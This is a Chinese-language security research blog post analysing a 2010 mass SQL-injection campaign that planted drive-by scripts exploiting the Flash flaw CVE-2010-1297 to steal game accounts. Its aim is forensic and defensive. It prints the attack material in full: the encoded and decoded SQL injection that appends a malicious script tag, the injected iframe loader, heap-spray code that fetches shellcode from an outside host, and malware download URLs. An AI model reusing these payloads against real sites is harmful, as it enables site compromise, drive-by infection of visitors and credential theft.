阿碼外傳-阿碼科技非官方中文 Blog: 2010年6月17日

2010年6月17日

Flash 0day 大規模掛馬攻擊研究:robint.us與2677.in

(作者:Wayne Huang, Fyodor Yarochkin, Aditya Sood, Jeremy Chiu, Wisely Tao, Kuon Ding, Crane Ku, Sun Huang, 以及Armorize其他成員)(英文版在這裡

最近讀了一些媒體對於此次 Adobe Flash 0day (現在已經不是0day了 ) (CVE-2010-1297) 大規模SQL injection掛馬--robint.us與2677.in的報導,覺得都沒有寫到重點,所以在這邊分享我們的報告。

伺服器端:
1. 大規模掛馬前有針對各目標網站做黑箱掃瞄,所以攻擊者手上已經有各網站之弱點。
2. 此次攻擊針對IIS+ASP.NET的網站程式。但是攻擊的弱點乃網站本身之問題,與IIS/ASP.NET無關。

使用者端:
1. 0day 為亞洲團體所發現,很可能利用fuzzing發現的。
2. 0day 一開始使用於email的針對性攻擊。
3. 0day POC於網路上流傳不久(一至二天),就被利用於mass SQL大規模掛馬攻擊中。
4. 掛馬中有加入對付自動掃瞄工具(如HackAlert)的技巧。
5. 掛馬為 CuteQQ / Anhey工具所產生。

整體來說:
1. 攻擊者是dnf666,與三月時的dnf666.net大規模掛馬攻擊事件是同一團體。
2. 攻擊者主要以散播非法線上遊戲外掛以及偷盜線上遊戲帳號牟利。
3. 這幾波的0day大規模掛馬攻擊 (robint.us and 2677.in),主要目的為盜取線上遊戲帳號,包括: aion.plaync.co.kr, aion.plaync.jp, 以及 df.nexon.com。
4. 攻擊都有配合使用免費網站流量統計服務,以觀察感染進度。

以下是完整報告。

[0. 背景]

6月04日:Adobe 發佈弱點通知
6月07日:POC code於網路上流傳。.
6月08日:robint.us--第一波大規模掛馬,掛馬本身就是打這個0day。
6月10日:有了Metasploit 版本
6月11日:2677.in--第二波大規模掛馬攻擊開始。

[1. 伺服器端]

以下是一些攻擊前的測探(感謝SmartWAF team提供):


' and char(124)+user+char(124)=0 and ''='
' and char(124)+user+char(124)=0 and '%25'='
and char(124)+user+char(124)=0
' and 1=1 and ''='

沒什麼特別。以下則是實際的GET request:

Sample 1:


GET /default.aspx?imgbtnlogin=1;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x6445634C615265204074207641724368417228323535292C406320764172436841722832353529206445634C615265207441624C655F637572736F5220635572536F5220466F522073456C45635420612E6E416D452C622E6E416D452046724F6D207359734F624A6543745320612C735973436F4C754D6E53206220774865526520612E69443D622E694420416E4420612E78547950653D27752720416E442028622E78547950653D3939206F5220622E78547950653D3335206F5220622E78547950653D323331206F5220622E78547950653D31363729206F50654E207441624C655F637572736F52206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C4063207768696C6528404066457443685F7374617475733D302920624567496E20657865632827557044615465205B272B40742B275D20734574205B272B40632B275D3D727472696D28636F6E7665727428766172636861722838303030292C5B272B40632B275D29292B6341735428307833433733363337323639373037343230373337323633334436383734373437303341324632463332333633373337324536393645324637393631363836463646324536413733334533433246373336333732363937303734334520615320764172436841722835302929207768657265205B272B40632B275D206E6F74206C696B65202727257961686F6F2E6A732527272729206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C406320654E6420634C6F5365207441624C655F637572736F52206445416C4C6F43615465207441624C655F637572736F523B2D2D%20eXeC(@s)--&txtmh_card=1&txtpass=1&__viewstate=ddwxmzk4nt

Sample 2:


GET /default.aspx?imgbtnlogin=1;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x6445634C615265204074207641724368417228323535292C406320764172436841722832353529206445634C615265207441624C655F637572736F5220635572536F5220466F522073456C45635420612E6E416D452C622E6E416D452046724F6D207359734F624A6543745320612C735973436F4C754D6E53206220774865526520612E69443D622E694420416E4420612E78547950653D27752720416E442028622E78547950653D3939206F5220622E78547950653D3335206F5220622E78547950653D323331206F5220622E78547950653D31363729206F50654E207441624C655F637572736F52206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C4063207768696C6528404066457443685F7374617475733D302920624567496E20657865632827557044615465205B272B40742B275D20734574205B272B40632B275D3D727472696D28636F6E7665727428766172636861722838303030292C5B272B40632B275D29292B6341735428307833433733363337323639373037343230373337323633334436383734373437303341324632463332333633373337324536393645324637393631363836463646324536413733334533433246373336333732363937303734334520615320764172436841722835302929207768657265205B272B40632B275D206E6F74206C696B65202727257961686F6F2E6A732527272729206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C406320654E6420634C6F5365207441624C655F637572736F52206445416C4C6F43615465207441624C655F637572736F523B2D2D%20eXeC(@s)--&txtmh_card=1&txtpass=1&__viewstate=ddwxmzk4nt


由於攻擊是針對ASP.NET,我們注意到GET後面有加:_viewstate=ddwxmzk4nt。這對繞過某些WAF有幫助。

上面的code解碼後變成:


dEcLaRe @t vArChAr(255),@c vArChAr(255) dEcLaRe tAbLe_cursoR cUrSoR FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD AnD a.xTyPe='u' AnD (b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167) oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c while(@@fEtCh_status=0) bEgIn exec('UpDaTe ['+@t+'] sEt ['+@c+']=rtrim(convert(varchar(8000),['+@c+']))+cAsT(0x3C736372697074207372633D687474703A2F2F323637372E696E2F7961686F6F2E6A733E3C2F7363726970743E aS vArChAr(50)) where ['+@c+'] not like ''%yahoo.js%''') fEtCh next FrOm tAbLe_cursoR iNtO @t,@c eNd cLoSe tAbLe_cursoR dEAlLoCaTe tAbLe_cursoR;--

轉換成小寫比較容易讀:


declare @t varchar(255),@c varchar(255) declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) open table_cursor fetch next from table_cursor into @t,@c while(@@fetch_status=0) begin exec('update ['+@t+'] set ['+@c+']=rtrim(convert(varchar(8000),['+@c+']))+cast(0x3c736372697074207372633d687474703a2f2f323637372e696e2f7961686f6f2e6a733e3c2f7363726970743e as varchar(50)) where ['+@c+'] not like ''%yahoo.js%''') fetch next from table_cursor into @t,@c end close table_cursor deallocate table_cursor;--

以上並沒太大特別之處,從2008年初開始的大規模掛馬攻擊,SQL注入手法大致都是如上。

我們研究30個被感染的網站,如預期,感染的網站都是IIS與ASP.NET。


[2. 使用者端]

下面是受感染網頁的取樣:

<div class="tomsqre_top"><p><img width="758" height="700" src="/userfiles/image/20100520_tomsquare.jpg" alt="" /></p><script src=http://2677.in/yahoo.js></script></div>


<title>New Vans and Used Vans Ipswich<script src=http://2677.in/yahoo.js></script> - Norfolk Trucks Ipswich</title>

yahoo.js是我們所謂的「entry snippet」,也就是受感染的源頭。接下來攻擊觸發之流程為:

以下我們描述細部過程。

1. http://2677.in/yahoo.js 動態產生兩個iframe,連向: http://2677.in/cnzz.html (網站流量統計服務 counter) and http://2677.in/ie.htm (flash 攻擊程式 exploit)

try{__m}catch(e){__m=1;document.title=document.title.replace(/\<(\w\W)*\>/,"");document.write("<iframe src=http://2677.in/cnzz.html width=0 height=0></iframe><iframe src=http://2677.in/ie.html width=22 height=1>");}

2. http://2677.in/cnzz.html 使用免費流量統計服務 cnzz.com 來觀察感染趨勢。

<script src="http://s11.cnzz.com/stat.php?id=1990191&web_id=1990191" language="JavaScript"></script>


我們連往流量統計的業面,可以發現攻擊者的代號是"dnf666."。很耳熟嗎?

沒有錯,這個跟三月發生的"dnf666.net"大規模掛馬攻擊事件,是同一團體。代號一樣:dnf666,SQL與掛馬手法如出一轍,也都是使用cnzz作為流量統計服務。

然後其實,robint.us攻擊事件,也是使用cnzz:http://s11.cnzz.com/stat.php?id=2095356&web_id=2095356
更好玩的是,三月時發生的"dnf666.net"攻擊事件,其實惡意網址中有"robints.us"。對,比這次"robint.us",多了一個"s"。

這裡有更多的證據。

所以目前的結論是,三月時"dnf666"發動了一波大規模掛馬攻擊,使用的惡意網址中包含了robints.us。最近,他們利用了Adobe Flash 0day (VE-2010-1297)發動了另一波攻擊:robint.us以及2677.in.

DNF就是地下城與勇士(Dungeon Fighter),在台灣是遊戲橘子代理,在內地是放在QQ平台上。dnf666.net這個網站,當初一開始是散播(非法)DNF的外掛。

分析這些資訊,看在到本文的結論:這兩波攻擊,都是為了偷線上遊戲帳號,其實已經不意外了。

3. http://2677.in/ie.html 將執行heap spray的程式,存於一個DOM物件中:

解碼後比較容易看:


var a = new Array();
var xcode=loader("log.txt","MM","NN")*262144;
var shellcode=loader("log.txt","XX","YY");
var ls = xcode-(shellcode.length*2+0x01020);
var b = loader("log.txt","VV","WW");
while(b.length<ls)
{
b+=b;
}
var lh=b.substring(0,ls/2);
delete b;
lh = lh + shellcode;

在我們的流程圖中,我們將這個標示成"trick 1",因為這個技巧(trick)可以躲過某些自動化行為偵測工具,也就是只有實做javascript引擎而沒有實做DOM的自動化行為偵測工具。換言之,如果單純使用SpiderMonkeyRhino,沒有加其他機制,或補強,那麼這個技巧就很可能可以多過偵測。

4. 這個DOM物件被<div id=sun>ie.html中的javascript利用eval()執行,然後向log.txt中取的攻擊用的shellcode。

var str=document.getElementById("sun").innerHTML;
eval(unescape(str));

在我們的流程圖中,我們將這個標示成"trick 2",因為這招對於某些自動化行為偵測工具有下。工具如果沒有實做完整的瀏覽器環境,那麼就無法向外取的log.txt中的shellcode。另一方面,這也讓該掛馬架構多些彈性:改shellcode不需改binary。

5. http://2677.in/ie.html中內嵌了flash(swf)的攻擊程式anhey.swf(CVE-2010-1297)

document.write("<embed src='anhey.swf' width='0' height='0'></embed>");

就這樣子了。ie.html中的javascript執行heap spray,並將經由log.txt取得的shellcode放入記憶體中,然後再經由anhey.swf來觸發攻擊。

看到這些手法,,還有"anhey.swf"這個檔名(robint.us / 2677.in 兩波攻擊都是此檔名),很多人應該已經猜出掛馬產生的工具了。
第一波robint.us攻擊中有以下程式碼:

var cuteqq = unescape(payload.replace(/CUTE/g, "%u"));
nopsled = unescape("%u0a0a%u0a0a");

這裡有第二個關鍵字:"cuteqq"。

CuteQQAnhey是同一家公司,兩個網址都對應到同一個網站,專門賣產生掛馬的工具:

我們看以下畫面。這個工具可以讓攻擊者填入要使用的網頁流量統計網頁(這次用的是cnzz.com)。同時,也支援"flash 10 0day"。中間則可以選一些躲避偵測的技術。


6. http://2677.in/anhey.swf 攻擊Adobe flash 的CVE-2010-1297,並於受害者機器中產生(drop)http://2677.in/log.exe

7. http://2677.in/log.exe的行為如下:

Behavior: DLL-Injection (Target: rundll32.exe) functions.

Modules
Base=10000000 Size=00003000 rundll32.exe

Files
[DLL] %UserProfile%\Microsoft\smx4pnp.dll F7E3595E910B767F64974B084B9B3D2A
%UserProfile%\Microsoft\smx4pnp.log

Autoruns
HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\smx4pnp

讀取: http://d.iamcome.in/u.txt,內容:

222
http://d.iamcome.in/ma.exe


8. 根據u.txt中的指令,log.exe下載惡意程式http://d.iamcome.in/ma.exe,ma.exe行為如下:

Behavior: DLL-Injection (Target: explorer.exe) functions.

Modules
Base=10000000 Size=0001C000 explorer.exe
Base=10000000 Size=0001C000 wscntfy.exe
Base=10000000 Size=0001C000 ctfmon.exe
Base=10000000 Size=0001C000 ctfmon.exe
Base=00F80000 Size=00001000 explorer.exe

Files
[DLL] %SystemRoot%\system32\xiaodll0.dll 38D8AC593197CB30C6C69929373459A8
[EXE] %SystemRoot%\system32\xiaosos.exe C55748843D9576B62982646FA3944F21

Autoruns
HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\loopsos

ma.exe偷以下的線上遊戲帳號:
1. aion.plaync.co.kr
2. aion.plaync.jp
3. df.nexon.com

[3. 結論]

伺服器端:
1. 大規模掛馬前有針對各目標網站做黑箱掃瞄,所以攻擊者手上已經有各網站之弱點。
2. 此次攻擊針對IIS+ASP.NET的網站程式。但是攻擊的弱點乃網站本身之問題,與IIS/ASP.NET無關。

使用者端:
1. 0day 為亞洲團體所發現,很可能利用fuzzing發現的。
2. 0day 一開始使用於email的針對性攻擊。
3. 0day POC於網路上流傳不久(一至二天),就被利用於mass SQL大規模掛馬攻擊中。
4. 掛馬中有加入對付自動掃瞄工具(如HackAlert)的技巧。
5. 掛馬為 CuteQQ / Anhey工具所產生。

整體來說:
1. 攻擊者是dnf666,與三月時的dnf666.net大規模掛馬攻擊事件是同一團體。
2. 攻擊者主要以散播非法線上遊戲外掛以及偷盜線上遊戲帳號牟利。
3. 這幾波的0day大規模掛馬攻擊 (robint.us and 2677.in),主要目的為盜取線上遊戲帳號,包括: aion.plaync.co.kr, aion.plaync.jp, 以及 df.nexon.com。
4. 攻擊都有配合使用免費網站流量統計服務,以觀察感染進度。

[4. 相關報導]
ThreatPost: SQL Injection Attacks Aimed at Stealing Gaming Credentials, Experts Say
InformatinWeek: SQL Injection Attacks Return
H-Online: Mass website hack aimed at online gamers
Host Exploit: SQL Injection Attacks Return

[5. 附錄]

1. HackAlert V3 forensics query dump

Visited path: http://2677.in/ie.html
Source code:
======

<script language='JavaScript'>
function ajax()
{
var xmlhttp_request = false;
try {
xmlhttp_request= new ActiveXObject('Msxml2.XMLHTTP');
} catch (e)
{
try {
xmlhttp_request= new ActiveXObject('Microsoft.XMLHTTP');
} catch (E) {
xmlhttp_request= null;
}
}
if (!xmlhttp_request && typeof XMLHttpRequest != 'undefined')
{
xmlhttp_request= new XMLHttpRequest();
}
return xmlhttp_request;
}
function loader(url,a,b)
{
var xmlhttp = ajax();
xmlhttp.open('get', url, false);
xmlhttp.send();
var page = xmlhttp.responseText;
page=page.replace(/jj/g,"%u");

var x=page.indexOf(a);
var y=page.indexOf(b)
var code=page.substring(x+2,y);
code=unescape(code);
return code;

}
var str=document.getElementById("sun").innerHTML;
eval(unescape(str));
var i=0;
var j=0;
var bb=new Array();
for (i = 0; i < 0xd0; i++)
a[i] = lh.substr(0, lh.length);

for(i=0;i<0x100;i++)
for(j=0;j<0x10;j++)
bb[i*0x10+j] = lh.substr(0, (0x10000-(0x01020))/2);
for(i=0;i<0x100;i++)
for(j=0;j<0x0f;j++)
bb[i*0x10+j]=null;

for (i = 0x1d0; i < loader("log.txt","MM","NN")*0x100; i++)
a[i-0x100] = lh.substr(0, lh.length);

for(i=0;i<0x100;i++)
bb[i*0x10+0x0f]=null;
document.write("<embed src='anhey.swf' width='0' height='0'></embed>");

</script>

========
Visited path: http://2677.in/cnzz.html
Source code:
======
<script src="http://s11.cnzz.com/stat.php?id=1990191&web_id=1990191" language="JavaScript"></script>

========
Visited path: http://2677.in/yahoo.js
Source code:
======
try{__m}catch(e){__m=1;document.title=document.title.replace(/\<(\w\W)*\>/,"");document.write("<iframe src=http://2677.in/cnzz.html width=0 height=0></iframe><iframe src=http://2677.in/ie.html width=22 height=1>");}
========
Visited path: http://www.ex-designz.net/topnavmenu.css
Source code:
======
#hnavmen {
float:right;
width:100%;
(truncated)
========
Visited path: http://s11.cnzz.com/stat.php?id=1990191&web_id=1990191
Source code:
======
function gv_cnzz(of){
var es = document.cookie.indexOf(";",of);
if(es==-1) es=document.cookie.length;
return unescape(document.cookie.substring(of,es));
}
(truncated)
========

2. Parts of anhey.swf:

internal function __setProp_nsPoints_Scene1_Layer1_0()
{
try {
this.nsPoints["componentInspectorSetting"] = true;

} catch (e:Error) {
var loc1:* = e;
someVal = null;

}
this.nsPoints.enabled = true;
this.nsPoints.maximum = 20;
this.nsPoints.minimum = 3;
this.nsPoints.stepSize = 1;
this.nsPoints.value = 1;
this.nsPoints.visible = true;
try {
this.nsPoints["componentInspectorSetting"] = false;

} catch (e:Error) {
loc1 = e;
someVal = null;

}
return;

}

public dynamic class ball extends flash.display::MovieClip
{

//========================= Variables
public var nsPoints : NumericStepper;
public var test1 : *;
public var test2 : *;
public var a : *;
public var b : *;
public var test5 : *;
public var test6 : *;
public var rbEvenOdd : RadioButton;
public var test8 : *;
public var test9 : *;
public var test3 : *;
public var test4 : *;
public var test7 : *;

//========================= Methods

public static function ball()
{
return;

}


public function ball()
{
super();
addFrameScript(0, this.frame1);
this.__setProp_nsPoints_Scene1_Layer1_0();
this.__setProp_rbEvenOdd_Scene1_Layer1_0();
return;

}


internal function __setProp_nsPoints_Scene1_Layer1_0()
{
try {
this.nsPoints["componentInspectorSetting"] = true;

} catch (e:Error) {
var loc1:* = e;
someVal = null;

}
this.nsPoints.enabled = true;
this.nsPoints.maximum = 20;
this.nsPoints.minimum = 3;
this.nsPoints.stepSize = 1;
this.nsPoints.value = 1;
this.nsPoints.visible = true;
try {
this.nsPoints["componentInspectorSetting"] = false;

} catch (e:Error) {
loc1 = e;
someVal = null;

}
return;

}


internal function frame1()
{
this.a = "bbbbbbbbbbbbbbbbbbbbbb";
this.b = "zbzabbbbbbbbbbbbbbb";
this.test3 = "aaaaaaaaaaaaaaaaa";
this.test1 = "aaaaaaaaaaaaaaaaa";
this.test2 = "aaaaaaaaaaaaaaaaa";
this.test4 = "aaaaaaaaaaaaaaaaaasdasdasdasdasdasdasdasdasdasdasdasdasdasdas";
this.test5 = "eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeaaaaaaaaaaaaaaaaa";
this.test6 = "sdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdaaaaaaa";
this.test7 = "eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeaaaaaaaaaaaaaaaaa";
this.test8 = "eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeaaaaaaaaaaaaaaaaa";
this.test9 = "eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeaaaaaaaaaaaaaaaaa";
return;

}


internal function __setProp_rbEvenOdd_Scene1_Layer1_0()
{
try {
this.rbEvenOdd["componentInspectorSetting"] = true;

} catch (e:Error) {
var loc1:* = e;
someVal = null;

}
this.rbEvenOdd.enabled = true;
this.rbEvenOdd.groupName = "rbgW";
this.rbEvenOdd.label = "sdadasd";
this.rbEvenOdd.labelPlacement = "right";
this.rbEvenOdd.selected = true;
this.rbEvenOdd.value = "0";
this.rbEvenOdd.visible = true;
try {
this.rbEvenOdd["componentInspectorSetting"] = false;

} catch (e:Error) {
loc1 = e;
someVal = null;

}
return;

}


}
public dynamic class focusRectSkin extends flash.display::MovieClip
{

//========================= Methods

public static function focusRectSkin()
{
return;

}


public function focusRectSkin()
{
super();
return;

}


}

}

(作者:Wayne Huang, Fyodor Yarochkin, Aditya Sood, Jeremy Chiu, Wisely Tao, Kuon Ding, Crane Ku, Sun Huang, 以及Armorize其他成員)

繼續閱讀全文...